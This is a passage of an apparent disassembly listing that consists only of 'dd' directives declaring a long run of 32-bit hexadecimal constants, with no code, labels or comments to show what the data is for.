		dd 27BB7DEBh, 2A74AC6Fh, 1DCA8DAh, 2520EA86h, 8F262C3Dh
		dd 8665BC59h, 0C57BFB3Ah, 356940C0h, 387EA2EDh,	0E0D285Ch
		dd 0C2751BAFh, 11DF4C0Fh, 90DB118Ch, 0FDC859EBh, 41C415A3h
		dd 3F79C66h, 0F69A96B7h, 0AB249943h, 37BD7B47h,	893DAE4Fh
		dd 0CE395671h, 0BD6DB82Ah, 5C197954h, 0B51B9C09h, 0CC4C1C5Eh
		dd 7FA72510h, 67A0915Bh, 0FC07B034h, 7056E39h, 0E6EBE68Ch
		dd 4816F135h, 8029CE3Ch, 41537BD3h, 6DCEEC0h, 64EA2F3Fh
		dd 0FA6C3471h, 868BD171h, 2FB6F4D5h, 0E9382A54h, 4463A553h
		dd 0FBF89D8Bh, 9171643Eh, 0A10A2607h, 7D4683E8h, 0BF375797h
		dd 0E3C35B24h, 815A3782h, 8BE095h, 21F8273Fh, 2543CACEh
		dd 0BB8AB974h, 48B716D6h, 77433683h, 78D28A28h,	5DB110E4h
		dd 0F30350C4h, 0EB682C8Dh, 1FAACAFCh, 4EBAAA08h, 6E44569Bh
		dd 688B7F5Fh, 8EC76FBFh, 0D18949E1h, 517DF6DBh,	485CEC3Ch
		dd 50B4F170h, 9B0CE88h,	98B8F61Dh, 63BDF16h, 8ECFCA11h
		dd 84A9B67Dh, 974F83EEh, 65819255h, 0C45166EFh,	0D954ABB9h
		dd 0BD82BAE0h, 0D4B4026Fh, 0EB98D152h, 574D7366h, 25D71F46h
		dd 0D64BCDB8h, 9D6EC23Eh, 3AB4749Ch, 7E330FF8h,	750B9D38h
		dd 7BC57133h, 0B75B9690h, 1A7C7FFDh, 7B290139h,	1BCC0F37h
		dd 1BA5D814h, 0AE8007D9h, 53F81A55h, 1AD4E2D1h,	57C750C1h
		dd 0D1647500h, 370A724Bh, 98C0E183h, 4D2D31B8h,	9BDC5CF3h
		dd 0DA08E5CEh, 5E7AA962h, 0F8D2A236h, 0EB680599h, 0F29F3742h
		dd 117C8456h, 0BFC267A4h, 0C0F8DA6Fh, 0EB8527C1h, 0B91A732h
		dd 8FB4CCBFh, 78CEAC3Dh, 6337C54h, 8CDEFA9Dh, 0F87AC8FCh
		dd 0E5C73A1Ah, 7991C05Bh, 71542930h, 51BAB91Eh,	8FABC4C4h
		dd 82C077A9h, 2B8983C2h, 15687C40h, 7774AAFFh, 52A35816h
		dd 7C742740h, 3A1AD0Bh,	0C376097Ch, 720B342Fh, 5191C2Fh
		dd 7DE5A1F4h, 3E522890h, 0D8A7AB32h, 0D9289C64h, 669C8F2Ah
		dd 0EDF0D6D7h, 45098DE4h, 1F76DE60h, 0D9B20C50h, 0E8872A8Eh
		dd 2B9A9AB2h, 17B971BCh, 5599D5A2h, 0DB87CA66h,	11D94CE6h
		dd 1EA6F443h, 0FFD384C1h, 0E4E7341Eh, 379E9516h, 886FCB69h
		dd 2BC34915h, 65AD9C1Eh, 0B9B856C3h, 0A43F2E82h, 71982F12h
		dd 7F30055Eh, 99CFFB51h, 0D4C881CCh, 15EF5530h,	42344A9Dh
		dd 0B4CAF6A9h, 5E007BB6h, 7AC011B7h, 0C1DAC0A6h, 34A78303h
		dd 2346F360h, 984E232Eh, 0BCE35065h, 30F28261h,	7EAA91D0h
		dd 2B5AE8DFh, 4BF3B9C4h, 524EB5A1h, 9BA9926Bh, 9F193E21h
		dd 0A3815F1Bh, 8AB55A63h, 0B87843FDh, 754169C8h, 641E71F8h
		dd 871DBEFEh, 1C805600h, 0F8BED971h, 631FA12Ch,	20B8794Fh
		dd 17678C1Fh, 41D50644h, 0CFF1B6C7h, 3477EBD6h,	0CDC51DECh
		dd 0D7502714h, 5E6191B7h, 2A171E2h, 3F3CF81Fh, 3E1100BDh
		dd 1D541F71h, 1DAABFD6h, 0F2CEAB65h, 0F6846A36h, 2379B80Eh
		dd 0EC6CF2F0h, 733F1D15h, 0F3FCFDA2h, 0E40E39C0h, 95FB522Ah
		dd 8326D1D5h, 7C98E82Bh, 3CB622AEh, 8DA4B06Ah, 0ED882E2Ah
		dd 0D6ED1A51h, 54152A21h, 7AF495C3h, 9168BEC8h,	78934C57h
		dd 0EAE4D1C1h, 5D875041h, 0C1F5B734h, 12B086EFh, 0BC3241DCh
		dd 0E78C781Eh, 6553E982h, 6733158Dh, 0FD6EDF03h, 5F88A981h
		dd 9D67B891h, 0CEC75D48h, 0C028572Bh, 89792DE1h, 0AD5C5AD6h
		dd 2A6D8D9h, 0CD86A5C2h, 781E7325h, 417EF4ABh, 271C5E6Ah
		dd 0CF9151C0h, 0F12A3453h, 57F48454h, 65289B36h, 0EAA01B87h
		dd 2632DF8Eh, 0CADE88AFh, 4DA9B649h, 4F7A375h, 35D4045h
		dd 7B3F99C9h, 0A13BEFC1h, 0DBEDBFABh, 18A16338h, 54574BF1h
		dd 0BD9C0CE2h, 8D1A1202h, 97E9F707h, 0B58BC094h, 0D33FE8DFh
		dd 4074B3F3h, 39AFDF96h, 0A687150h, 0E8A42AA1h,	70BF05F1h
		dd 0FDFDD7FFh, 0AAD3901Dh, 40FD61F8h, 54B4ED28h, 6014ED5Ch
		dd 0A9CE794Fh, 189834F9h, 0D1AB6F32h, 46F19D6Eh, 44A7554Fh
		dd 57236B5Fh, 2BE43651h, 0E30B9AD3h, 0FB9D61DFh, 27336BECh
		dd 8CF5B449h, 53B9A96Ah, 7065FFC9h, 7FDF28C2h, 527F140Bh
		dd 55948108h, 68CD0F7Eh, 0CF491251h, 0E8FA7BC4h, 13D63C52h
		dd 0A13899BDh, 0D5A7405Ch, 0D9F560E4h, 1AB58625h, 86AC9B83h
		dd 69D42CB8h, 0A766D035h
		dd 3C71E045h, 54595C73h, 3E9C17E4h, 932D2892h, 0F52DBDA2h
		dd 0CC61569Ah, 0CBCECD03h, 3E827C35h, 67710312h, 22AFF193h
		dd 83C99917h, 0B5BADEFFh, 23387E55h, 25534C4Ch,	0FAAEE785h
		dd 5A53C133h, 550F99A7h, 0A5538DFh, 2A9DDB1Fh, 226F4434h
		dd 76D89254h, 464B2E4Dh, 0EC93CC8Ah, 869CD255h,	0AD648CADh
		dd 0EBB9CFD2h, 4ED9C5D6h, 0E440F540h, 0B570D278h, 0C6FD180Ch
		dd 0C8B7901Ah, 1084F74Eh, 1D5C30Fh, 0B5F3AA8Bh,	84D352D9h
		dd 3FCB902Ch, 9D4091B9h, 0A60744D7h, 0B9590579h, 6CAFDBF5h
		dd 766967A9h, 82768D3Eh, 8DEE3BAFh, 650993E6h, 881C901h
		dd 42906F36h, 5A4D04EAh, 0E2010188h, 0F1FF5B19h, 0DA560E0Fh
		dd 0E853024Dh, 0F7728C7Eh, 0FEE0F51Dh, 4371BD30h, 472331F3h
		dd 78E97F3Bh, 0DA4C860Ch, 47273B69h, 7C4E009Eh,	5EC2C870h
		dd 57E791F7h, 0B681E5F4h, 891F57A9h, 0C2E7E04Bh, 0E3300788h
		dd 0C1D70375h, 8804BFDBh, 5E6045E4h, 0A37C71B4h, 0BF1B1EE8h
		dd 8F973879h, 42D9C8E4h, 16BA2B70h, 0CCA7C9ADh,	0B669CC13h
		dd 1E04B5ACh, 0C8B7263Ch, 0B75E25B0h, 1F4C7289h, 0EE9A2CBDh
		dd 5E44594Fh, 0B87E319Ch, 0EA78BB95h, 0B62D3A94h, 0BA97113Eh
		dd 0F9FD5C6Ch, 747FE03Ch, 0AA7B0081h, 0B70B6F44h, 2AB9338Ch
		dd 0C089666Dh, 42172B2Fh, 745285D0h, 0F5538431h, 6D41B6DBh
		dd 0BB833455h, 82AEC2C9h, 0A2635AAAh, 0AAAC5FB2h, 0CCAC79B2h
		dd 65B83B5Dh, 347B599h,	0E06EE99Fh, 546C3076h, 0BDC19F9Dh
		dd 6DC0CF0Fh, 0D51EEB43h, 0F1C0F0B6h, 0C7C1849Dh, 31D9CE8Bh
		dd 56F47CF6h, 0BCA27E1h, 0AB554E42h, 0C557D821h, 0C5C56311h
		dd 0D3574926h, 62A81501h, 0FF67716Dh, 7BA26B5Eh, 15E4DBA7h
		dd 1B7CCEEAh, 27DB426Ah, 680F7AAAh, 0C7EDBAE2h,	3FA624A9h
		dd 0CBD113CBh, 467339D3h, 93C050DDh, 0BE6C5B8Fh, 0F4BA8802h
		dd 0C9DF784Eh, 1F7BEABDh, 0B9CA04CDh, 0DCD6EFC5h, 0B4F56FCFh
		dd 4B3FF670h, 29847CF1h, 911ECE9Ah, 303E8343h, 6302E8B1h
		dd 0BF65BD7Eh, 0ADCD111Dh, 3AAF2CBAh, 73E76717h, 1FBFE177h
		dd 0D4DA3DB8h, 2A8B92DBh, 9C7F707Ch, 0E17EF7A2h, 935D934Ch
		dd 354334ABh, 0FC12C587h, 0DE637572h, 0A5D0FF9Bh, 2E3D12A3h
		dd 0DDFCAB5Ah, 9EEB3AA7h, 1C79883Fh, 0F1A35B4h,	57F6B9DEh
		dd 0B3A20C04h, 0CF61CC4Ch, 6509EDBBh, 41017E60h, 0F2BEE1ACh
		dd 745D2F12h, 0EB1071A0h, 0ED4FA737h, 225820EDh, 7FA70639h
		dd 14B1C735h, 0A14C5071h, 9E6EAD0Eh, 40B05BEFh,	277A46F2h
		dd 4B253F3Eh, 9DFB3D8Fh, 0A4ADD287h, 0B8B82BC8h, 141C7CD5h
		dd 992E27CBh, 0D41BEC94h, 0FDAD8C1Dh, 0F505CDCCh, 0A7318F54h
		dd 137B098Dh, 3D0AC938h, 593A52F5h, 8D40EFDDh, 0ADC37E93h
		dd 0F974813Bh, 0E03133C1h, 779DB1FFh, 179139C0h, 3F0FF65Dh
		dd 85F6682Bh, 3CF7C12Bh, 7F95EBAFh, 154BDA61h, 61E0649h
		dd 0AD4A359Eh, 97DBEE29h, 9E3B4115h, 6C2107C0h,	83F9D99Bh
		dd 1CF010BEh, 6C07B5DEh, 0AFE244E0h, 759994D9h,	3726C2E0h
		dd 5598A903h, 15693B0h,	450D6F6Eh, 0F648B06Bh, 1E9DC616h
		dd 137C703Ch, 0FD29BE3Bh, 0AB993C5Bh, 0B62F1A89h, 0B15B0DD6h
		dd 7F15A27h, 722E7D01h,	7377996Eh, 0A2ACF0CBh, 89142EC1h
		dd 0AB7691C1h, 0EB23F8A0h, 0FBC2036h, 12E35C3Eh, 345E39Ah
		dd 0D862DB3Dh, 6F3D21F8h, 0F1F2A7D3h, 0E1F88BF0h, 0E44ABC4Dh
		dd 6B45E924h, 0D8BAF514h, 0D7F93FA3h, 13C1E079h, 0CE0D547Eh
		dd 3B72E514h, 29DF35A8h, 0DB7CB430h, 0EBE4D455h, 52B980E9h
		dd 9D2044DBh, 437D017Eh, 0F414EE2Ch, 0F47F4CC1h, 0EB81E74Ch
		dd 6EA6871Bh, 0E6620F93h, 0BF36FBC4h, 6950DF9Bh, 0E4E29D66h
		dd 0E13BA494h, 0D1A0D139h, 0AA2515B4h, 0EEA00965h, 52A70E5Ah
		dd 53E07972h, 1811AEB3h, 9F6546FFh, 9BAC8B45h, 0C28BEF77h
		dd 0C4C18F61h, 1ED3DD79h, 315DEBF0h, 8629A331h,	0F3D199AEh
		dd 0B18BD25Eh, 245EB2Bh, 0F3CD4AD0h, 5B145346h,	0EB7AB03Dh
		dd 0D347C791h, 870F7254h, 40D9396Eh, 7E10EBDh, 0F8A1CA1Eh
		dd 0DBA7CEBBh, 20A0168Ah, 9742436Bh, 0ADB78182h, 864B2E5Bh
		dd 0C4FB076Bh, 3F452137h, 0CB3F2D19h, 2CBA309Eh, 6A8C3054h
		dd 8DF95217h, 0FB45F35h, 48E9D5D3h, 9AC2F137h, 54D1B9DEh
		dd 66ED91B7h, 3E2192E3h, 43DD4471h, 6F51F1CBh, 8261E836h
		dd 55F16304h, 43F07E9Fh, 0EB9E06FCh, 408339AEh,	0EDC8E012h
		dd 0B01692EAh, 0E227DBEAh, 0A2175D26h, 8CB88DE6h, 8FA1FBAAh
		dd 77FEC02h, 0B9A0D107h, 0F7C453A1h, 613CC9C0h,	5F2DFD04h
		dd 86F393C4h, 356972D1h, 480AB66Bh, 0B565C715h,	0B1D9EB31h
		dd 0AD17B4Dh, 0E8E0881Fh, 0B928C8BAh, 342D2BA1h, 759C977Ch
		dd 0C5D5DC5Eh, 0A6145AB3h, 74F9CCDEh, 0D358B133h, 4FEAEF4Dh
		dd 40397E02h, 458B7473h, 9D01C9C9h, 8813A6F7h, 70E65738h
		dd 87DEE2E2h, 71028E90h, 6FC6D4B7h, 0A1067459h,	0DD2F579h
		dd 5D268CCDh, 0C05CDE02h, 34504661h, 34E90AB7h,	236DD7D2h
		dd 9B16A1FEh, 175E3C6Ah, 0A172DFA6h, 0D0F06E52h, 2AA57079h
		dd 0D506CAF5h, 846C8276h, 0A3480332h, 0DA52E695h, 3D059421h
		dd 0AFD500Ch, 0EB5AF463h, 0CA2D3765h, 0A385B11Bh, 118A9E8Fh
		dd 0E9FFC475h, 69FE0024h, 0DB1B4369h, 8B38A88Ch, 26E1EFDFh
		dd 0E1D4C855h, 0CD7C453Ch, 59C06D15h, 7953D723h, 4CA9FC40h
		dd 0CCB8C452h, 0F49A5A17h, 0CF591E7Ah, 0B0A5FE07h, 12F7A951h
		dd 7E3DFEF9h, 0AFB52D71h, 48C05FDFh, 34BB830Fh,	0CD42E75Ah
		dd 167451B3h, 0AADE2A67h, 31C62AF8h, 0CBA807C7h, 6797413Dh
		dd 2C06B048h, 0F21F6572h, 0FC94DF17h, 95F58FD9h, 986837AEh
		dd 0F5712E03h, 238D9BACh, 2BC2BEC6h, 0DCCBB099h, 0F375E80Ah
		dd 0A30EFBE2h, 0AE1C6629h, 0DF1D1ACEh, 0DD82E707h, 247C69C2h
		dd 0D044C05Dh, 99E22049h, 0F5FAC207h, 0A7C7DD45h, 2970BEEAh
		dd 0E4D6752Ah, 5AA51546h, 6F0AED1Ch, 5FA47689h,	0F73FC19Dh
		dd 5E77CE94h, 0EA4A6208h, 2ABE4346h, 1799DC68h,	0F4CF6FD0h
		dd 37F785EDh, 2E02DA91h, 7A5EE0F6h, 5B0FBCECh, 0AB7AC962h
		dd 0CB8D125Ch, 0EEA35BADh, 0A01A93Ch, 67D66379h, 0F83A9039h
		dd 8C70DD68h, 0EB735730h, 94B7DB3Ch, 0F899B539h, 0BB2560E1h
		dd 0CABC4EB2h, 4839B66Bh, 94A6F411h, 0B179384Ah, 0AF4C0E70h
		dd 423F5832h, 0BFC65EC3h, 0A45ABAA0h, 72B749D2h, 0B24929E5h
		dd 0D7F93C0Ch, 63145001h, 0F1300D1Dh, 3D5CCDCBh, 546B5E07h
		dd 8E61CC6Fh, 0CA0183C8h, 0B4E2CDD4h, 0AFD8B743h, 0E62C4A99h
		dd 176295EAh, 4C571E74h, 18ABC6D9h, 161F9212h, 7D027F26h
		dd 0AB708E98h, 0E7456F51h, 3093847Ch, 0B948F0D5h, 49AACF72h
		dd 4CF68A84h, 0FE5C8CE0h, 618B15DAh, 341F84Eh, 0FD0D44EEh
		dd 18FC12ECh, 0C3327682h, 2FEE9DBh, 0A2136DDCh,	44FA579h
		dd 1B838F1Dh, 84AE6FCDh, 7AEB4153h, 0C8621D6Dh,	78681000h
		dd 0BBBFC720h, 0E7402CE0h, 0DF2FDC62h, 0A48B3BA9h, 5BD9D749h
		dd 0EE3E86D7h, 15E60FC0h, 0A029E82Fh, 0D95872E8h, 59345339h
		dd 7D65A2B4h, 0BCAAD83Dh, 0D34D6F5Ah, 8A2B65CBh, 0B0760622h
		dd 1E34DE96h, 0C1CEA5B8h, 377BD6CFh, 5CD9BE36h,	8FCB222Ah
		dd 6C2E7FDFh, 97B2DED1h, 9BBD0C55h, 3753A733h, 6B34AE5Fh
		dd 479BE904h, 827B8328h, 795C53B0h, 20F1785Ch, 0B4604F5Ah
		dd 0A2235E19h, 7160342Fh, 4D337171h, 988D1DD4h,	5E462F1Eh
		dd 0BDCF1455h, 0C6DD6E5Eh
		dd 0C914E4CFh, 0EDAC82EDh, 56EE6713h, 0F860EDFAh, 66292C0h
		dd 95B9509Fh, 0B0441F88h, 6EFD28DDh, 0B0ADE1ECh, 3F02E9C2h
		dd 329999C5h, 7E172E4h,	451F5E86h, 5D937BE5h, 46B4E51Bh
		dd 0AAD65F8Bh, 5EB2B17Fh, 16BA0785h, 0AD39611Eh, 28B4255Ah
		dd 0B35A3DA0h, 0BAED6E2Dh, 4966D158h, 84A3CE2Ah, 78764A36h
		dd 4E72BB6Fh, 0AB25D8F0h, 0D748F090h, 16C941D4h, 231092D6h
		dd 1774F309h, 305C8478h, 5BC55A1h, 8F6FF19Bh, 0ACD67099h
		dd 0D80513D8h, 7D0CDF17h, 0FDB47854h, 1BB8D1D2h, 270798CEh
		dd 0D359186Eh, 3D88D737h, 65DA3Dh, 8FCD2E75h, 0CDF9A5ABh
		dd 0A26661A7h, 0E9571ECDh, 0B515EB4h, 0F13D627Ah, 0B014D62Dh
		dd 0B68DC97Ah, 0D53BF6B1h, 4FFB41Fh, 0FB51090Eh, 0F6CE8460h
		dd 0BBBB93DFh, 81549368h, 7790BE4h, 285745EBh, 824C1BCDh
		dd 46A2A8E6h, 755DD544h, 758BD87Fh, 0B447C57Bh,	0AFDFAE91h
		dd 117FB701h, 246E504h,	0DABF92B8h, 0BBE1C338h,	39FF20B6h
		dd 20E203F9h, 3B4B691Ah, 0E730051Fh, 0D90E8989h, 0E4DB2630h
		dd 0C68B3639h, 0C20D18AEh, 2D50C053h, 6565AE2Ch, 0D1883A56h
		dd 83AA6603h, 1EFE39FAh, 0CDD6E03Eh, 0CBE02BD7h, 0AF779C61h
		dd 6FD36117h, 0FB060267h, 467FEA15h, 0C393C66Bh, 0A0CF8318h
		dd 8E797886h, 0F2D1384Dh, 33F5741h, 81EBFCDAh, 9A8BDB65h
		dd 0CAB3C56Dh, 0F3792707h, 4304322Eh, 0B8058D8Bh, 0CC0FAC95h
		dd 5BEB787Ch, 985F82A3h, 0EBFE4573h, 50E2E81Ch,	0D25A0D52h
		dd 0AC16F2CAh, 0EBECBC5Ah, 2D119B4Bh, 4F1C296Fh, 55CD497Ch
		dd 19ACE814h, 3C76CECh,	2EBFAD7Fh, 7C59DDDDh, 0DE56D2FEh
		dd 3025BB0Ah, 62BB6556h, 0B8446A96h, 0E81F4933h, 0E5194A48h
		dd 54EE66A8h, 0A331ED4Ah, 0F1F44A3h, 0BADEC091h, 0ED2786C0h
		dd 0F55F44EAh, 0BBBAC197h, 0FE896F73h, 2BDB96A5h, 250731C4h
		dd 4EDD572Ah, 6FBBB7ACh, 0FCEA3BFCh, 0ADC155C3h, 55F961F3h
		dd 0E177020Fh, 5DD8B6E4h, 0D2A4B7AAh, 5D99AB86h, 0A6712968h
		dd 46001B4Bh, 0B9E1367Ch, 0DD95C76Bh, 0BBC3DA32h, 0AE00F199h
		dd 3CFBA5D3h, 23F6AF96h, 3834E40h, 151DA07Eh, 0CC5B2BC0h
		dd 118ED5F5h, 7EDA6771h, 0B86C8BB9h, 0B4059E53h, 41F6163h
		dd 0F086A24h, 0DAF0D613h, 0A8C21028h, 5A739397h, 7874379Ah
		dd 9F9C0172h, 753D89F3h, 89A7E5F3h, 0AF6B0FC9h,	0A8768980h
		dd 0CAB0E568h, 60C81653h, 0B733A269h, 0DB93607Fh, 268F98FBh
		dd 0F8291510h, 0AEDBF861h, 46C7FADh, 5DC28B97h,	0F56BC2E1h
		dd 0DC0F8F2Fh, 648C3B30h, 53FF9138h, 0D9D60629h, 3F1F9F71h
		dd 0B9BEDD38h, 897C54B8h, 0A1E1C59Eh, 9FE192F0h, 0F37CCA88h
		dd 0B657DF6h, 8E8703E1h, 0F4A6A66Fh, 1B80691Bh,	0F355E186h
		dd 9BC82FF5h, 0BBABF931h, 0AECAC4EAh, 0A86C0C8h, 205CB66h
		dd 7E794556h, 4B66FD85h, 0AA5B2D6Ah, 9CAC7EB8h,	0C73F9EA8h
		dd 9DAFA297h, 0BF3C87CDh, 68C7295Ch, 7A37267Fh,	1A187A4Ch
		dd 982D7DBFh, 77313FC5h, 0E39B226Fh, 85D1BC0Ch,	79432E11h
		dd 2754BF3Ch, 82FD988Fh, 348166BFh, 0E92BBA58h,	0BAA44A9Bh
		dd 0E81A6761h, 1E68B1DDh, 69C5C567h, 0A3F4641h,	42BECFDEh
		dd 5752F758h, 8BF75220h, 0E44597EBh, 6EA5C954h,	0F919F65Ah
		dd 85070912h, 94811675h, 880EFBE0h, 0E5A37EF3h,	517DBB2Bh
		dd 2C0FB5FAh, 9097B1B9h, 0B4BF3BCFh, 49C0EE00h,	0B84615C3h
		dd 0F866AB1Bh, 9F82DB75h, 0DEDCE0BDh, 5167B947h, 7D952BBh
		dd 76A43ECAh, 154C1B53h, 5E4BB9DCh, 0D3E27B5h, 0F851491h
		dd 0E741D5A6h, 0CB961457h, 0FF40596Eh, 461509EEh, 5B0906B7h
		dd 43C74341h, 4EAABB5Ah, 0D1BC3AF0h, 6E81EDE9h,	0A6214AA9h
		dd 23182DB5h, 8357E2EBh, 0E02CABDh, 0B3623733h,	848FEA6Eh
		dd 354E22A8h, 49AAD336h, 111066F4h, 0DE8D5A6Ah,	3C28E72Bh
		dd 0E57BFE38h, 0B0179E04h, 0AD67631Ch, 3D4358Ah, 8BEAE64Eh
		dd 84A882BDh, 0AA9C3662h, 430F8B6Bh, 0FA031F04h, 0A08A3B8Dh
		dd 7CD75161h, 0A928D24Eh, 0E2886EDCh, 17034A6Ah, 0F9220944h
		dd 1BABFEFDh, 41F358A7h, 0A7BEEAh, 0C0F6E364h, 7D54EF02h
		dd 0BB60A1B9h, 0F10D10BFh, 87475B38h, 0D5CDD9CFh, 9CC74BCAh
		dd 230A1E4h, 0F93D7C1Ch, 6DDA266Dh, 0C1FB2525h,	0DDA09F68h
		dd 0DFDF17D9h, 0E32CCF2Dh, 66023A36h, 44E6BE9Ch, 57FB3904h
		dd 0BF3428B6h, 3D68C0B7h, 4D6AF341h, 476636EEh,	0D8BF19CBh
		dd 9B115F1Bh, 3C27C407h, 9CBC05E0h, 0D58E77D6h,	5966F68Fh
		dd 2ADFA711h, 8D27A2D9h, 8F5932FEh, 71B10231h, 75FC7C92h
		dd 3723B760h, 0B67BDF14h, 2024B43h, 669EDDC6h, 45EEAA9h
		dd 10FE6F9Bh, 2985743Dh, 0C24FE432h, 0DAADA8C8h, 9E014864h
		dd 57EE569h, 0B5D5B239h, 0BD6AFCB9h, 72815EFBh,	9876D477h
		dd 0D2E92BFBh, 0A46DD245h, 0F6CC4EC1h, 7214B611h, 0A5F5806h
		dd 0D6B4C518h, 362BD6FBh, 0A637478Ah, 7FDE6402h, 0D2552018h
		dd 0E12BEA67h, 0B3A9C8FEh, 5F969576h, 9C91A156h, 0C38AAB15h
		dd 0B47FC2FBh, 4FD654ABh, 68913689h, 2B4607EDh,	26F6F874h
		dd 0B6BFD5B4h, 0D368BA36h, 0C3A868EAh, 2948FDCAh, 76E92237h
		dd 47399E4Bh, 3B8B79E2h, 98CC4667h, 0F6F2E06Ch,	9E96AB68h
		dd 7C4F9366h, 4CF89028h, 2FEFE2A8h, 9595188Ah, 4EA31401h
		dd 0D358541Fh, 12F3FD6Ah, 0D7507E06h, 0F5147968h, 0EB533AFAh
		dd 8319EBAEh, 8139F4Bh,	0B4B05DA4h, 0BF20AA4Dh,	78174DB4h
		dd 0ADE1BAFEh, 7C2B92D3h, 25686EE4h, 54F3BAFBh,	0D60AA6D0h
		dd 13799BECh, 244370A9h, 2DB1748Dh, 0BB436BB1h,	822E7FC6h
		dd 0FC18FB9h, 0EB0B4F99h, 7732C15Dh, 0AF441368h, 0F3BB2C8h
		dd 53D9B05h, 0F67AEB3Eh, 5DE4FECDh, 81C14280h, 6481145Eh
		dd 6C567A7Bh, 37E6F615h, 4734D48Fh, 7772E297h, 1848BC91h
		dd 0AAF2A72h, 1314AC87h, 99D35D94h, 67D70C58h, 75B5FCE1h
		dd 0AC0FBD22h, 0EEBB0890h, 1D33CF75h, 9EB7549Ah, 2A56EE8h
		dd 7BA78B02h, 0BC22B2Ah, 0E8DE921Dh, 5459F1E0h,	1D8A59FDh
		dd 6779ABEEh, 0BA8CEDE3h, 7A3159CDh, 7C6D3084h,	78631FAEh
		dd 0C0AF2F3Fh, 0A07F2572h, 0D4B4DE58h, 7B2915C5h, 0A57A75D7h
		dd 2B0EB7DAh, 0B7ABC1BAh, 96D79D75h, 0DFE752DAh, 5EE8CA8Dh
		dd 3EA28E97h, 0DB5D96A3h, 27E19568h, 52E56E14h,	0D0E693B7h
		dd 933679D0h, 0A2CEC8EFh, 50FCD890h, 0FA84566Bh, 0C64E3FDDh
		dd 77DCAF98h, 0EE462383h, 63327FA0h, 73F6E54Ch,	929EE43Bh
		dd 6FB4AA7h, 62A5C93Eh,	48BDF8B8h, 0EA84FA20h, 0F4E378D5h
		dd 0C0B9B466h, 198BB7FBh, 0B6D180E5h, 0FD738D2Fh, 9C77BDB8h
		dd 9C3735B9h, 3BA270AFh, 8A3AEF5h, 8493C69Ah, 457071B0h
		dd 581E3AF4h, 568C62E2h, 27F342BAh, 7539F121h, 0A44DD0B1h
		dd 79CE14Ch, 2D375816h,	78D1F485h, 1C079805h, 0DA040C3Fh
		dd 85427BAAh, 0DD7C6652h, 175CD1BBh, 1091F06Eh,	6AA95598h
		dd 47227C0Fh, 54A335F4h, 38EB929Ch, 0EA1AFC1Ch,	0CE72E259h
		dd 0A3F55C9Eh, 5611D1C8h, 0D294A20Eh, 0DB2F3FDDh, 6754B179h
		dd 0D84DF6ADh, 3FA7694h, 0A77D84DFh, 0EEC3B141h, 87DB3734h
		dd 0A745C91h, 859BFB2Ah, 6C9A1439h, 0C38AE8E9h,	956B4C3Bh
		dd 79332A3Bh, 96EC460Ah, 0FD9098D7h, 0E26ABB8Ah, 6A90C5CEh
		dd 0D5313AEBh, 30AA153Ah, 6C9684EEh, 10B1A48Bh,	9A1AEF4Dh
		dd 5FA13D38h, 0D2B330A4h, 9BDB1FBCh, 0D7EEED5Ah, 0B76377C2h
		dd 5BA5A504h, 0A2849203h
		dd 1F82A3CFh, 945907B2h, 0A059CD7Fh, 247403Ch, 0F2D02068h
		dd 0DFEED149h, 0EAA2BDACh, 0F034DAE9h, 0BA9A898h, 9C37ED62h
		dd 895D288Bh, 0B9CFAF3Dh, 31C29411h, 0CBEDDF4Eh, 498F0B5Dh
		dd 0D1B25571h, 3DCB254Eh, 0BA35DBD0h, 5160049Eh, 8A9514E5h
		dd 0FC32F3CFh, 6FCA4CBEh, 92553021h, 0A7D3C9CDh, 0B3E04BA9h
		dd 7053C5D7h, 296B91B8h, 0EADDDDDh, 57F7D7h, 0A67D0AD4h
		dd 6FF0EB50h, 8B237754h, 0F6F0D5DAh, 0FC2E6C84h, 7767CA9Ah
		dd 1DA4F09Bh, 4A3470FCh, 7ECBBF3h, 0A3761D91h, 1F6C6AA9h
		dd 295E61F8h, 78471B17h, 0D64D36BDh, 0C1FCE034h, 5DBA1664h
		dd 4F28E2E2h, 7EA410A7h, 4AA0E25Ch, 0BADCAF5Ch,	0C625CBC6h
		dd 2F7B3132h, 5FB0D09Ah, 0CB473441h, 146D07B8h,	3F255D4h
		dd 0A8B41E93h, 0BBACB1C4h, 925FB566h, 7A53A049h, 0E01BBF45h
		dd 0CFA7294Eh, 51B67273h, 0EED36A2Eh, 537DAAA6h, 0DB232F3Ch
		dd 0ECD11715h, 5D173A4Eh, 1A5A371Ch, 0ED3B2622h, 76549015h
		dd 8DD4B73Ah, 0AE0A29C1h, 0A8CA14AEh, 0D6DFDC4Fh, 3E6A117Ah
		dd 7DCE49B0h, 0F1E6A7CEh, 0B38DFBF1h, 0A8DAB24Bh, 0D16BCDA6h
		dd 0F8F4417Ch, 5F7C4816h, 899E2D0Ah, 0E833E8DFh, 646107B3h
		dd 0C2D628C4h, 475BF0A5h, 0D1D3E8BBh, 366A2CD2h, 6E34D044h
		dd 82A5A08Eh, 37763C0Ch, 0C5E11A5Ah, 0A699EF7Ch, 0C5FDA23Ah
		dd 5A3B36BEh, 48BCCE71h, 0A1F84733h, 98085AC4h,	407C6D7Fh
		dd 3A7A14A3h, 5AD9C861h, 0B974B54Ch, 5636B880h,	0E3ADDF99h
		dd 0FD970BC8h, 8F93708Eh, 116E8E5Dh, 0BAA78834h, 1DF79054h
		dd 475654E1h, 45F3561Ah, 7EEC0D4Bh, 378E300Ah, 0ADBE69BDh
		dd 0CF2325D5h, 7ECB9857h, 40A6FCAEh, 2E9B9ADFh,	6B9476A7h
		dd 0D2D6A7BFh, 834CD266h, 0B84DC3DEh, 1B55AFC9h, 6F54CFE5h
		dd 0EBAF2907h, 5BB105F9h, 8719BCD5h, 0B663793h,	6B676A38h
		dd 0FA9954FBh, 0A3CC242Fh, 6F7A5C0Fh, 3A15A271h, 188A4EAFh
		dd 9D5CB6B4h, 9A332C6Ch, 68F5025Bh, 0C453B472h,	10832BD3h
		dd 9B2A12B8h, 0ACC315ABh, 367CD919h, 90E37DF8h,	5DE1B6EAh
		dd 0C111458Fh, 47FBC6F1h, 0AC3AC6B0h, 5128C881h, 1B2760E5h
		dd 0F71D9AFBh, 0CED50E4Ah, 90EB8C5h, 0BCDB9CA5h, 818BE77Dh
		dd 0A5814521h, 0FDB7172Eh, 0AECDFDC1h, 4A2DD758h, 83D1AB5h
		dd 0A2B91A8Dh, 526FE9FDh, 726E1876h, 77305D81h,	0E40AD26Ah
		dd 5D0F818Ah, 57E02F5Eh, 0CECEC542h, 0CAA3F6FEh, 2B4E62F9h
		dd 0D6186981h, 35EBD042h, 0ECC04E1Fh, 0DDC1326Ch, 4C105A30h
		dd 0C2DF2BCAh, 6D328E7Ch, 66C7191h, 0D3EE0E7Fh,	35794338h
